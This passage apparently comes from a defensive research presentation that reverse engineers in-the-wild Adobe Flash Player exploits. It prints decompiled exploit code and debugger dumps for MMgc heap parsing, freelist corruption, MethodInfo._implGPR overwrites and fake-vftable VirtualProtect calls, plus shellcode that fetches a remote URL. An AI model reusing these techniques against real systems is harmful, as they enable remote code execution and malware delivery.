public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
    ...
    hgfh4343 = 24;
    if (((nnfgfg3.nfgh23[0] >= 20)) || (((nnfgfg3.nfgh23[0] == 18)) && ((nnfgfg3.nfgh23[3] >= 324)))) ← Flash version check
    {
        ...
        hgfh4343 = 40;
    };
    ...
}

public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
    ...
    var _loc9_:Array = jhghjhj234544.EnumerateFixedBlocks (hgfh4343,true); ← hgfh4343 is 40 or 24 depending on the Flash version – this is supposed to be the ByteArray object size
}
```

GetByteArrayAddress (*hgfh342*) uses *EnumerateFixedBlocks* (*hhh222*) to locate heap address of the *ByteArray* object. When it calls *EnumerateFixedBlocks* (*hhh222*), it passes the expected *ByteArray* object size (40 or 24 depending on the Flash version running).

GetByteArrayAddress (hgfh342) heuristic search on marker values

```
public function GetByteArrayAddress(_arg_1:ByteArray, _arg_2:Boolean=false,
marker:int=0):Array
{
    ...
    var fixedBlockArr:Array = jhghjhj234544.EnumerateFixedBlocks(hgfh4343,
true);
    var _local_10:int;
    var fixedBlockArrLength:int = fixedBlockArr.length;
    while (_local_10 < fixedBlockArrLength)
    {
        i = _local_10++;
        _local_13 = ((Jdfgdf435GwgVfg.Hfghghf3 - gfhghg444444.cvhcvb345) /
hgfh4343);
        _local_14 = gfhghg444444.cvhcvb345;
        _local_15 = fixedBlockArr[i].blockData;
        while (_local_13 > 0)
        {
            _local_15.position = _local_14;
            if (bgfh4)
            {
                _local_15.position = (_local_14 + bbgfh4);
                _local_16 = _local_15.readUnsignedInt();
                _local_15.position = (_local_14 + bgfhghf34);
                _local_17 = _local_15.readUnsignedInt();
```

```
                if ((_local_16 == _local_5))
                {
                    _local_15.position = (_local_14 + bbgfh4);
                    _local_7 = gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
                    _local_6 =
jhghjhj234544.jjjj222222lpmc.ReadPointerSizeData(_local_15, false);
                    if (((marker != 0) && (((!((_local_6.high == _local_8.high))) ||
(!((_local_6.low == _local_8.low)))))))
                    {
                        if (hhiwr.read4(_local_6) == marker) ← Compare marker
                        {
                            return ([_local_7, _local_6]);
                        }
                    }
                }
            }
        }
```

GetByteArrayAddress (hgfh342) method is used to retrieve virtual address to arrays of each *ByteArray* (*jjgfhg3*, *jh5*). *GetByteArrayAddress (hgfh342)* gets first parameter as the expected object's size and enumerates all objects in the MMgc memory with that size and returns parsed information on all memory blocks it finds.

Acquiring GCBlock structure

Predictable GC location

- With CVE-2015-8446 exploit in the wild, it used memory predictability to locate *MMgc* related data structures.
- After heap-spraying with *Array* objects, the address 0x1a000000 is predictably allocated with an *GCBlock* object. 0x1a000008 is the address the exploit is looking at to get the base for *GCBlock* object.

GCBlockHeader structure

```
/**
 * Common block header for GCAalloc and GCLargeAlloc.
 */
struct GCBlockHeader
{
    uint8_t    bibopTag; // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
    uint8_t    bitsShift; // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that pointer
                    // bitsShift is only used if MMGC_FASTBITS is defined but its always present to simplify header layout.
    uint8_t    containsPointers; // nonzero if the block contains pointer-containing objects
    uint8_t    rcobject; // nonzero if the block contains RCOBJECT instances
    uint32_t    size; // Size of objects stored in this block
    GC*        gc; // The GC that owns this block
    GCAallocBase* alloc; // the allocator that owns this block
    GCBlockHeader* next; // The next block in the list of blocks for the allocator
    gcbits_t*    bits; // Variable length table of mark bit entries
};
```

```
ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc
```

JIT attacks

Freelists manipulation

Attack landscape change to JIT

- The attackers are moving into JIT space. We already saw a conceptual [attack](#) method presented by Francisco Falcon.
 - Runtime CFG code in JIT will mitigate the exploitation method.
- From the real world exploits (CVE-2016-1010 and [CVE-2015-8446](#)), we observed more advanced attack methods including a method to corrupt return addresses on the stack, which is a known limitation of CFG.
 - Details of this attack method will be discussed in our future research paper of the author.
- We are going to share some details on *freelists* abuse method and *MethodInfo._implGPR* corruption method.

Allocating and writing shellcode on *ByteArray* buffer

```
public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
    var _local_4:int;
    var _local_11:int;
    if (!(AllocateByteArrays ()))
    {
        return (false);
    };

    ...

    _local_8 = _local_12;
    jh5.position = (_local_8.low + 0x1800); <-- a little bit inside the heap region, to be safe not to be cleared up
    jh5.writeBytes(_arg_1); <-- Writing shellcode to target ByteArray.
```

StartExploit (hgfgfhfgj2) method calls *AllocateByteArrays (jhgjhj22222)* method and uses *jh5* *ByteArray* to write shellcode bytes to the a heap area.

Allocating *ByteArray* objects and leaking their virtual address

```
public function AllocateByteArrays():Boolean
{
    ...
    var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFFFF) + 1));
    // Create shellcode ByteArray
    shellcode_bytearray = new ByteArray();
    shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
    shellcode_bytearray.writeUnsignedInt(_local_1);
    shellcode_bytearray.length = 0x20313;

    // Create freelists ByteArray
    freelists_bytearray = new ByteArray();
    freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
    freelists_bytearray.writeUnsignedInt(_local_1);
    freelists_bytearray.length = 0x1322;

    g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; ← Freelists ByteArray
    hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; ← Shellcode ByteArray
    _local_2 = hg45;
    _local_4 = new ____Int64(0, 0);
    _local_3 = _local_4;
    return ((((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low)))) && (((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low))))));
}
```

GetByteArrayAddress (hgfh342) to allocate a *ByteArray* and return it's virtual address

```
- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 64
  Method Name: hgfh342
  Return Object ID: 0x210 (528)
  Object Type: int
  Return Value:
    Object:
      high: 0x0 (0)
      low: 0xc122db8 (202517944)
      high: 0x0 (0)
      low: 0x16893000 (378089472) ← memory for fake MMgc structure
    Object Type: Array
    Log Level: 0x3 (3)
    Name:
    Object Name:
    Object ID: 0x1d1 (465)
```

- The CVE-2016-1010 exploit uses *GetByteArrayAddress (hgfh342)* to get virtual address of the memory area where it can put fake *MMgc* related structure. For example, from the following data structure, 0x16893000 is the virtual memory location where the exploit puts *MMgc* fake data structure.

Corrupting *freelists.prev/next*

```
class GCHeap
{
    ...
    Region *freeRegion;
    Region *nextRegion;
    HeapBlock *blocks;
    size_t blocksLen;
    size_t numDecommitted;
    size_t numRegionBlocks;
    HeapBlock freelists[kNumFreeLists];
    size_t numAlloc;
```

The exploit abuses *freelists* array from GCHeap object. The *freelists* contains the memory that are freed for now but are reserved for future allocations.

Corrupting *freelists.prev/next*

```
// Block struct used for free lists and memory traversal
class HeapBlock
{
public:
    char *baseAddr; // base address of block's memory
    size_t size;     // size of this block
    size_t sizePrevious; // size of previous block
    HeapBlock *prev; // prev entry on free list ← Corruption target
    HeapBlock *next; // next entry on free list ← Corruption target
    bool committed; // is block fully committed?
    bool dirty;     // needs zero'ing, only valid if committed
```

0x6fb7bbb0 is the element of the *freelists* array which is *HeapBlock* structure.

```
Enter: A1/instance/read4(00000000`6fb7bbb4)
Return: A1/instance/read4 6fb7bba4
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null
```

The exploit makes the Flash *MMgc* to overwrite *HeapBlock.prev* at 0x6fb7bbb0 and *HeapBlock.next* at 0x6fb7bbb4 to fake *freelists* structure at 0x16893000 which has a pointer to shellcode memory at 0x16dc3000.

```
0:000> dds 6fb7bba4 ← HeapBlock structure
6fb7bba4 00000000
6fb7bba8 00000000
6fb7bbac 00000000
6fb7bbb0 6fb7bba4 HeapBlock.prev ← Corrupted to 16893000
6fb7bbb4 6fb7bba4 HeapBlock.next ← Corrupted to 16893000
6fb7bbb8 00000101
6fb7bbbc 00000000
6fb7bbcc 00000000
6fb7bbcd 00000000
```

Locating shellcode *ByteArray* buffer address

```
- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
  Method Name: hgfh342
  Return Object ID: 0x248 (584)
  Object Type: int
  Return Value:
    Object:
      high: 0x0 (0)
      low: 0xc122d40 (202517824)
      high: 0x0 (0)
      low: 0x16dc3000 (383528960) <--- base address of shellcode ByteArray
    Object Type: Array
    Log Level: 0x3 (3)
    Name:
    Object Name:
    Object ID: 0x1d1 (465)
```

Shellcode will be allocated inside 0x16dc3000 *ByteArray* memory. This virtual address was retrieved using *GetByteArrayAddress (hgfh342)* function.

The exploit put address to shellcode memory (0x16dc3000) as the first DWORD member for the fake *freelists* at 0x16893000.

```
0:000> dds 16893000
16893000 16dc3000 <--- ptr to shellcode page
16893004 00000010
16893008 00000000
1689300c 00000000
16893010 00000000
16893014 00000001
16893018 41414141
1689301c 41414141
16893020 41414141
16893024 41414141
```

```
0:000> dds 16dc3000 <-- shellcode ByteArray buffer, JIT operation target
16dc3000 00000000
16dc3004 00000000
16dc3008 16dd2fec
16dc300c 00000001
16dc3010 16dd2e6c
16dc3014 00000000
16dc3018 00000000
16dc301c 00000000
```

Original memory permission of 0x16dc3000

```
0:007> !address 16dc3000
Usage:          <unknown>
Base Address:   16cf9000
End Address:    17176000
Region Size:    00200000 ( 2.000 MB)
State:          00001000    MEM_COMMIT
Protect:        00000004    PAGE_READWRITE ← Protection mode is RW
Type:           00020000    MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001    PAGE_NOACCESS

Content source: 1 (target), length: 1000
```

doInitDelay method → *GCHeap::AllocBlock*

```
public dynamic class Boot extends MovieClip
{
...
    public function doInitDelay(_arg_1:*) :void
    {
        Lib.current.removeEventListener(Event.ADDED_TO_STAGE, doInitDelay);
        start();
    }

    public function start():void
    {
        ...
        if (_local_2.stage == null)
        {
            _local_2.addEventListener(Event.ADDED_TO_STAGE, doInitDelay);
        }
        ...
    };
}
```

The memory at 0x16893000 is where fake *freelists* will be located. Address 0x16dc3000 is the heap area where shellcode will be written. This heap area is with protection mode of RW.

```
0:006> !address 16dc3000
Usage:          <unknown>
Base Address:   16dc3000
End Address:    17050000
Region Size:    00010000 ( 64.000 kB)
State:          00001000  MEM_COMMIT
Protect:        00000020  PAGE_EXECUTE_READ
Type:           00020000  MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001  PAGE_NOACCESS
```

Content source: 1 (target), length: 1000

GCHeap::AllocBlock

```
GCHeap::HeapBlock* GCHeap::AllocBlock(size_t size, bool& zero, size_t alignment)
{
    uint32_t startList = GetFreeListIndex(size);
    HeapBlock *freelist = &freelists[startList]; ← retrieving heap block from free list

    HeapBlock *decommittedSuitableBlock = NULL;
    ...
}
```

```
0:026> g
Breakpoint 1 hit
eax=16dc3000 ebx=16893000 ecx=00000000 edx=00000000 esi=00000010 edi=00000001
eip=6d591cc2 esp=0b550ed8 ebp=0b550efc iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200297
Flash!MMgc::alignmentSlop+0x2 [inlined in
Flash!MMgc::GCHeap::Partition::AllocBlock+0x72]:
6d591cc2 8bd7      mov     edx,edi
...
0:026> u eip -6
...
6d591cc0 8b03      mov     eax,dword ptr [ebx] <----
0:026> r ebx
ebx=16893000

6d591cc2 8bd7      mov     edx,edi
6d591cc4 c1e80c    shr     eax,0Ch
6d591cc7 23c1      and     eax,ecx
6d591cc9 2bd0      sub     edx,eax
6d591ccb 23d1      and     edx,ecx
```

JIT attacks

MethodInfo._implGPR Corruption

MethodInfo._implGPR function pointer is called upon JIT function return

```
/**
 * Base class for MethodInfo which contains invocation pointers. These
 * pointers are private to the ExecMgr instance and hence declared here.
 */
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
    ...

private:
    union {
        GprMethodProc _implGPR; <---
        FprMethodProc _implFPR
        FLOAT_ONLY(VecrMethodProc _implVECR;)
    };
};
```

```
Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t *ap,
MethodSignaturep ms)
{
    ...
    AvmCore* core = env->core();
    const int32_t bt = ms->returnTraitsBT();

    switch(bt){
    ...
    default:
    {
        STACKADJUST(); // align stack for 32-bit Windows and MSVC compiler
        const Atom i = (*env->method->_implGPR)(env, argc, ap);
        STACKRESTORE();
    }
    ...
}
```

Memory dump of *CustomByteArray* object

```
0:000> dd 0f4a0020 <--- CustomByteArray is allocated at predictable address
0f4a0020 595c5e54 20000006 1e0e3ba0 1e1169a0
0f4a0030 0f4a0038 00000044 595c5da4 595c5db8
0f4a0040 595c5dac 595c5dc0 067acca0 07501000
0f4a0050 0af19538 00000000 00000000 2e0b6278
0f4a0060 594f2b6c 0f4a007c 00000000 00000000
0f4a0070 595c5db0 00000003 00000001* ffeedd00* <-- Start of object member data (public var _SafeStr_625:uint = 0xFFEEDD00)
0f4a0080 ffeedd01 f0000000 ffffffff ffffffff
0f4a0090 00000000 50cefe43 5f3101bc 5f3101bc
0f4a00a0 a0cefe43 ffeedd0a ffeedd0b ffeedd0c
0f4a00b0 ffeedd0d 00000f85 ffeedd0f ffeedd10
0f4a00c0 ffeedd11 ffeedd12 ffeedd13 ffeedd14
0f4a00d0 ffeedd15 ffeedd16 ffeedd17 ffeedd18
0f4a00e0 ffeedd19 ffeedd1a ffeedd1b ffeedd1c
0f4a00f0 ffeedd1d ffeedd1e ffeedd1f* 16e7f371* <-- public var _SafeStr_164:Object (points to _SafeStr_16._SafeStr_340 MethodClosure)
0f4a0100 e0000000 7fffffff e0000000 7fffffff
0f4a0110 e0000000 7fffffff e0000000 7fffffff
0f4a0120 e0000000 7fffffff e0000000 7fffffff
0f4a0130 e0000000 7fffffff e0000000 7fffffff
0f4a0140 e0000000 7fffffff e0000000 7fffffff
0f4a0150 e0000000 7fffffff e0000000 7fffffff
0f4a0160 e0000000 7fffffff e0000000 7fffffff
0f4a0170 e0000000 7fffffff e0000000 7fffffff
```

To achieve the *_implGPR* corruption, *CustomByteArray* objects are sprayed on the heap first. *CustomByteArray* is declared like following.

CustomByteArray class

```
public class CustomByteArray extends ByteArray
{
    private static const _SafeStr_35:_SafeStr_10 = _SafeStr_10._SafeStr_36();
    public var _SafeStr_625:uint = 0xFFEEDD00;
    public var _SafeStr_648:uint = 4293844225;
    public var _SafeStr_629:uint = 0xF0000000;
    public var _SafeStr_631:uint = 0xFFFFFFFF;
    public var _SafeStr_633:uint = 0xFFFFFFFF;
    public var _SafeStr_635:uint = 0;
    public var _SafeStr_628:uint = 0xAAAAAAAA;
    public var _SafeStr_630:uint = 0xAAAAAAAA;
    public var _SafeStr_632:uint = 0xAAAAAAAA;
    public var _SafeStr_634:uint = 0xAAAAAAAA;
    public var _SafeStr_649:uint = 4293844234;
    public var _SafeStr_650:uint = 4293844235;
    public var _SafeStr_651:uint = 4293844236;
    public var _SafeStr_652:uint = 4293844237;
    public var _SafeStr_653:uint = 4293844238;
    public var _SafeStr_626:uint = 4293844239;
    public var _SafeStr_654:uint = 4293844240;
    public var _SafeStr_655:uint = 4293844241;
    public var _SafeStr_656:uint = 4293844242;
    public var _SafeStr_657:uint = 4293844243;
    public var _SafeStr_658:uint = 4293844244;
    public var _SafeStr_659:uint = 4293844245;
    public var _SafeStr_660:uint = 4293844246;
```

```
    public var _SafeStr_661:uint = 4293844247;
        public var _SafeStr_662:uint = 4293844248;
        public var _SafeStr_663:uint = 4293844249;
        public var _SafeStr_664:uint = 4293844250;
        public var _SafeStr_665:uint = 4293844251;
        public var _SafeStr_666:uint = 4293844252;
        public var _SafeStr_667:uint = 4293844253;
        public var _SafeStr_668:uint = 4293844254;
        public var _SafeStr_669:uint = 4293844255;
        public var _SafeStr_164:Object; <---
        private var _SafeStr_670:Number;
        private var _SafeStr_857:Number;
        private var static:Number;
        private var _SafeStr_858:Number;

        ...

        private var _SafeStr_891:Number;

    public function CustomByteArray(_arg_1:uint)
    {
        endian = _SafeStr_35.l[_SafeStr_35.IIII];
        this._SafeStr_164 = this;
        this._SafeStr_653 = _arg_1;
        return;
        return;
    }
```

Corruption target method

```
// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
public class _SafeStr_16
{
...
    private static function _SafeStr_340(... _args):uint <-- Corruption target method
    {
        return (0);
    }
}
```

Locating and corrupting *MethodInfo._implGPR* field

```
* ReadInt: 0f4a00fc 16e7f371 ← CustomByteArray is at 0f4a0000
* ReadInt: 16e7f38c 068cdcb8 ← MethodClosure structure is at 16e7f370. Next pointer offset is 16e7f38c-16e7f370=1c.
* ReadInt: 068cdcc0 1e0b6270 ← MethodEnv structure is at 068cdcb8 . Next pointer offset is 068cdcc0-068cdcb8=8
* WriteInt: 1e0b6274 0b8cdcb0 (_SafeStr_340) -> 01fb0000 (Shellcode) ← Overwriting MethodInfo._implGPR pointer to shellcode location
```

CustomByteArray (0x0f4a0020)._SafeStr_164 -> MethodClosure (0x 16e7f370) -> MethodEnv (0x068cdcb8) -> MethodInfo (0x1e0b6270) -> MethodInfo._implGPR (0x1e0b6274)

Original disassembly from *impGPR* pointer address

```
0b8cdcb0 55      push  ebp
0b8cdcb1 8bec      mov   ebp,esp
0b8cdcb3 90        nop
0b8cdcb4 83ec18    sub   esp,18h
0b8cdcb7 8b4d08     mov   ecx,dword ptr [ebp+8]
0b8cdcba 8d45f0     lea   eax,[ebp-10h]
0b8cdcbd 8b1550805107 mov   edx,dword ptr ds:[7518050h]
0b8cdcc3 894df4     mov   dword ptr [ebp-0Ch],ecx
0b8cdcc6 8955f0     mov   dword ptr [ebp-10h],edx
0b8cdcc9 890550805107 mov   dword ptr ds:[7518050h],eax
0b8cdccf 8b1540805107 mov   edx,dword ptr ds:[7518040h]
0b8cdcd5 3bc2      cmp   eax,edx
0b8cdcd7 7305      jae   0b8cdcde
0b8cdcd9 e8c231604d call  Flash!IAEModule_IAEKernel_UnloadModule+0x1fd760 (58ed0ea0)
0b8cdcde 33c0      xor   eax,eax
0b8cdce0 8b4df0     mov   ecx,dword ptr [ebp-10h]
0b8cdce3 890d50805107 mov   dword ptr ds:[7518050h],ecx
0b8cdce9 8be5      mov   esp,ebp
0b8cdceb 5d        pop   ebp
0b8cdcec c3        ret
```

The pointer at *MethodInfo._implGPR* (0x1e0b6274) is 0x0b8cdcb0.

Shellcode

```
01fb0000 60      pushad
01fb0001 e802000000 call 01fb0008
01fb0006 61      popad
01fb0007 c3      ret
01fb0008 e900000000 jmp 01fb000d
01fb000d 56      push esi
01fb000e 57      push edi
01fb000f e83b000000 call 01fb004f
01fb0014 8bf0    mov esi,eax
01fb0016 8bce    mov ecx,esi
01fb0018 e86f010000 call 01fb018c
01fb001d e88f080000 call 01fb08b1
01fb0022 33c9    xor ecx,ecx
01fb0024 51      push ecx
01fb0025 51      push ecx
01fb0026 56      push esi
01fb0027 05cb094000 add eax,4009CBh
01fb002c 50      push eax
01fb002d 51      push ecx
01fb002e 51      push ecx
01fb002f ff560c  call dword ptr [esi+0Ch]
01fb0032 8bf8    mov edi,eax
01fb0034 6aff    push 0FFFFFFFFh
01fb0036 57      push edi
01fb0037 ff5610  call dword ptr [esi+10h]
```

```
01fb003a 57      push edi
01fb003b ff5614  call dword ptr [esi+14h]
01fb003e 5f      pop edi
01fb003f 33c0    xor eax,eax
01fb0041 5e      pop esi
01fb0042 c3      ret
```

Code to trigger shellcode

```
private function _SafeStr_355(_arg_1:*)  
{  
    return (_SafeStr_340.call.apply(null, _arg_1));  
}  
  
private function _SafeStr_362()  
{  
    return (_SafeStr_340.call(null));  
}
```

FunctionObject corruption

Hacking Team

- *FunctionObject* corruption has been observed multiple times from different exploits, especially the exploits originated from Hacking Team shows this technique.

AS3_call, AS3_apply

```
class GC_AS3_EXACT(FunctionObject, ClassClosure)
{
    ...
    // AS3 native methods
    int32_t get_length();
    Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
    Atom AS3_apply(Atom thisAtom, Atom argArray);
    ...
}
```

```
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
    thisArg = get_coerced_receiver(thisArg);
    ....
    if (!AvmCore::isNullOrUndefined(argArray))
    {
        AvmCore* core = this->core();
        ...
        return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
    }
}
```

```
/**
 * Function.prototype.call()
 */
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
    thisArg = get_coerced_receiver(thisArg);
    return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}
```

This exploit uses very specific method of corrupting *FunctionObject* and using *apply* and *call* method of the object to achieve shellcode execution.

ExecMgr apply and call

```
class ExecMgr
{
    ...
    /** Invoke a function apply-style, by unpacking arguments from an array */
    virtual Atom apply(MethodEnv*, Atom thisArg, ArrayObject* a) = 0;
    /** Invoke a function call-style, with thisArg passed explicitly */
    virtual Atom call(MethodEnv*, Atom thisArg, int32_t argc, Atom* argv) = 0;
```

Trigger class with dummy function

```
package
{
    public class Trigger
    {
        public static function dummy(... _args):void
        {
        }
    }
}
```

Resolving *FunctionObject* *vp*tr address

```
Trigger.dummy();  
var _local_1:uint = getObjectAddr(Trigger.dummy);  
var _local_6:uint = read32(((read32((read32((read32(_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04)); ← _local_6 holds address to FunctionObject  
vptr pointer  
var _local_5:uint = read32(_local_6);
```

- This leaked vftable pointer is later overwritten with fake vftable's address.
- Fake vftable itself is cloned from original one and only pointer to *apply* method is replaced with *VirtualProtect* API.

Call *VirtualProtect* through *apply* method

```
var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); ← resolving kernel32!VirtualProtect address
```

```
if (!virtualProtectAddr)
```

```
{
```

```
    return (false);
```

```
};
```

```
var _local_3:uint = read32((_local_1 + 0x1C));
```

```
var _local_4:uint = read32((_local_1 + 0x20));
```

```
//Build fake vftable
```

```
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);
```

```
var _local_10:uint;
```

```
while (_local_10 < 0x0100)
```

```
{
```

```
    _local_9[_local_10] = read32((( _local_5 - 0x80) + ( _local_10 * 0x04)));
```

```
    _local_10++;
```

```
};
```

```
//Replace vptr
```

```
_local_9[0x27] = virtualProtectAddr;
```

```
var _local_2:uint = getAddrUIntVector(_local_9);
```

```
write32(_local_6, ( _local_2 + 0x80)); ← _local_6 holds the pointer to FunctionObject
```

```
write32(( _local_1 + 0x1C), execMemAddr); ← execMemAddr points to the shellcode memory
```

```
write32(( _local_1 + 0x20), 0x1000);
```

```
var _local_8:Array = new Array(0x41);
```

```
Trigger.dummy.call.apply(null, _local_8); ← call kernel32!VirtualProtect upon shellcode memory
```

Fake *vftable* with *VirtualProtect* pointer overwritten over *AS3_apply* pointer

```
6cb92679 b000    mov    al,0
6cb9267b 0000    add    byte ptr [eax],al
6cb9267d 8b11    mov    edx,dword ptr [ecx] <--- read corrupt vftable 07e85064
6cb9267f 83e7f8    and    edi,0FFFFFFF8h
6cb92682 57      push   edi
6cb92683 53      push   ebx
6cb92684 50      push   eax
6cb92685 8b4218    mov    eax,dword ptr [edx+18h]
6cb92688 ffd0    call   eax ← Calls kernel32!VirtualProtect
```

```
WriteInt 07e85064 6d19a0b0 -> 087d98c0 ← Corrupt vftable pointer
```

```
0:031> dds ecx
07e85064 080af90c ← pointer to vftable
07e85068 07e7a020
07e8506c 07e7a09c
07e85070 00000000
07e85074 00000000
07e85078 6d19cc70
07e8507c 651864fd
```

```
0:031> dds edx
080af90c 6cb72770
080af910 6cb72610
080af914 6cb73990
080af918 6cb73a10
080af91c 6cb9d490
080af920 6cd8b340
080af924 6cb73490
080af928 75dc4317 kernel32!VirtualProtect <---- corrupt vptr
080af92c 6cb72960
080af930 6cab4830
080af934 6cb73a50
...
```

Shellcode execution through call method

```
Trigger.dummy();
var _local_2:uint = getObjectAddr(Trigger.dummy);
var functionObjectVptr:uint = read32(((read32((read32((read32(_local_2 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04)); ← Locate FunctionObject vptr
pointer in memory
var _local_3:uint = read32(_local_4);
if (((!((sc == null)))) && (!((sc == execMem))))
{
    execMem.position = 0x00;
    execMem.writeUnsignedInt((execMemAddr + 0x04));
    execMem.writeBytes(sc);
};
write32(functionObjectVptr, (execMemAddr - 0x1C)); ← 0x1C is the call pointer offset in vptr
Trigger.dummy.call(null);
```

InternetOpenUrlA shellcode

```
_local_5 = _se.callerEx("WinINet!InternetOpenA", new <Object>["stilife", 0x01, 0x00, 0x00, 0x00]);  
if (!_local_5)  
{  
    return (false);  
};  
_local_18 = _se.callerEx("WinINet!InternetOpenUrlA", new <Object>[_local_5, _se.BAToStr(_se.h2b(_se.urlID)), 0x00, 0x00, 0x80000000, 0x00]);  
if (!_local_18)  
{  
    _se.callerEx("WinINet!InternetCloseHandle", new <Object>[_local_5]);  
    return (false);  
};
```

* AS3 Call

08180024 b80080e90b mov eax,0BE98000h

08180029 94 xchg eax,esp

0818002a 93 xchg eax,ebx

0818002b 6800000000 push 0

08180030 6800000000 push 0

08180035 6800000000 push 0

0818003a 6801000000 push 1

0818003f 68289ed40b push 0BD49E28h

08180044 b840747575 mov eax,offset WININET!InternetOpenA (75757440) ← Call to WININET! InternetOpenA

08180049 ffd0 call eax

0818004b bf50eed40b mov edi,0BD4EE50h

This shellcode running routine is highly modularized. This makes shellcode building and running very extensible.

Conclusion

- There are not much of freedom when you reverse engineer Adobe Flash Player exploits.
- The tactic we are presenting is starting from instrumenting byte code and put helper code that can be used tactically for Flash module or JIT level debugging.
- We also found that recent exploits are focusing on *MMgc* memory parsing and traversing the objects to get access to the internal data structures.
- This predictableness of heap layout and heap address is actively abused by Adobe Flash Player exploits recently.

Samples used

CVE-ID	SHA1	Discussed techniques
CVE-2015-0336	2ae7754c4dbec996be0bd2bbb06a3d7c81dc4ad7	<i>vftable</i> corruption
CVE-2015-5122	e695fbeb87cb4f02917e574dabb5ec32d1d8f787	<i>Vector.length</i> corruption
CVE-2015-7645	2df498f32d8bad89d0d6d30275c19127763d5568	<i>ByteArray.length</i> corruption
CVE-2015-8446	48b7185a5534731726f4618c8f655471ba13be64 c2cee74c13057495b583cf414ff8de3ce0fdf583	<i>GCBLOCK</i> structure abuse JIT stack corruption
CVE-2015-8651 (DUBNIUM)		<i>FunctionObject</i> corruption
CVE-2015-8651 (Angler)	10c17dab86701bcd8bfc6f01f7ce442116706b024	<i>MethodInfo._implGPR</i> corruption
CVE-2016-1010	6fd71918441a192e667b66a8d60b246e4259982c	<i>ConvolutionFilter.matrix</i> to <i>tabStops</i> type-confusion <i>MMgc</i> parsing JIT stack corruption

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